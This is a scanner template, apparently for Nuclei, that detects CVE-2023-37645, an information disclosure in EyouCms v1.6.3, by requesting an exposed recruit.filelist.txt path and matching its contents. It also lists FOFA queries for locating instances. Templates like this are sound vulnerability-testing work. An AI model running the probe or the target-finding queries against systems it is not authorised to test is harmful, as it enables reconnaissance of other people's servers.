id: CVE-2023-37645

info:
  name: EyouCms v1.6.3 - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    EyouCms v1.6.3 was discovered to contain an information disclosure vulnerability via the component /custom_model_path/recruit.filelist.txt.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information.
  remediation: |
    Upgrade eYouCMS to a patched version to mitigate CVE-2023-37645.
  reference:
    - https://github.com/weng-xianhu/eyoucms/issues/50
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-37645
    cwe-id: CWE-668
    epss-score: 0.47838
    epss-percentile: 0.97755
    cpe: cpe:2.3:a:eyoucms:eyoucms:1.6.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: eyoucms
    product: eyoucms
    fofa-query:
      - icon_hash="-614262549"
      - title="eyoucms"
  tags: cve,cve2023,info-leak,eyoucms,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/data/model/custom_model_path/recruit.filelist.txt"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "application/admin/"
          - "template/pc/"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205fb8891ca74ba08e64253999349f3d6f9034a25b6bf676e2e8d9faba545a30bb02204d097f6232bb28819361616bc13618965371e2330d11596eaac074900d0d9ec9:922c64590222798bb761d5b6d8e72950